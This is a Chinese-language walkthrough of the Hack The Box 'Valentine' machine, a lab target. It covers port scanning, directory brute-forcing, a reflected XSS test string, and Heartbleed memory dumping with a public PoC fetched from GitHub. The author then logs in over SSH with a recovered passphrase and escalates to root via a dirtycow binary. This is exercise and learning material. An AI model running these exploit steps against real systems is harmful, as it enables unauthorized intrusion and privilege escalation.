Valentine(CTF-like also)

1
2
3
4
5
Discovered open port 22/tcp on 10.10.10.79                                     
Discovered open port 443/tcp on 10.10.10.79
Discovered open port 80/tcp on 10.10.10.79

443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))

访问后发现http和https,虽然端口不同,但是内容都是一样。

wget http://10.10.10.79

gobuster -u http://10.10.10.79 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/dev

notes.txt

1
2
http://10.10.10.79/dev/hype_key
http://10.10.10.79/dev/notes.txt
1
2
3
4
5
6
7
8
To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

https://10.10.10.79/encode
输入2222</br><script>alert('xss')</script>

一个反射性xss

Secure Data Encoder - No Data is Stored On Our Servers ,看起来不像注入漏洞。没有利用思路了,看看writeup

writeup

google hex to ascii码,得到了一个ssh私钥。我的内心是这样的凸(艹皿艹 )

htb总是将密码口令以不引人注目的方式藏在诸如ftp服务器上,实际上在real场景中,几乎没有人会这么做。

chmod 400 id_rsa

ssh -i id_rsa hype@10.10.10.79

需要输入密码


1
2
3
4
5
6
7
searchsploit heartbleed
python 32745.py -p 443 10.10.10.79
换一个poc

wget https://raw.githubusercontent.com/sensepost/heartbleed-poc/master/heartbleed-poc.py
python heartbleed-poc.py -p 443 10.10.10.79
python heartbleed-poc.py -p 443 10.10.10.79 -n 10 > memori.txt

通过heardbleed泄露内存中的信息,但是试了一百多(-n选择次数),也没有成功dump出text包含的ssh密码。好坑~~

总之,heartbleedbelievethehype,以该口令ssh成功登入。

提权

cat /etc/passwd

发现有一个用户firefart,立即意识到,有人用dirtycow成功提权了

于是查找exp

1
2
3
4
5
6
7
8
find / -name "dirty" 2>/dev/null

看到tmp目录有现成的
./dirty 123
等待一分钟左右

su firefart
123

总结

heartbleed是一种内存错误,发生在443端口,ssl协议

tmux是指通过一个终端登录远程主机并运行后,在其中可以开启多个控制台的终端复用软件。

利用权限错误,以root权限运行tmux,可以利用该软件提权。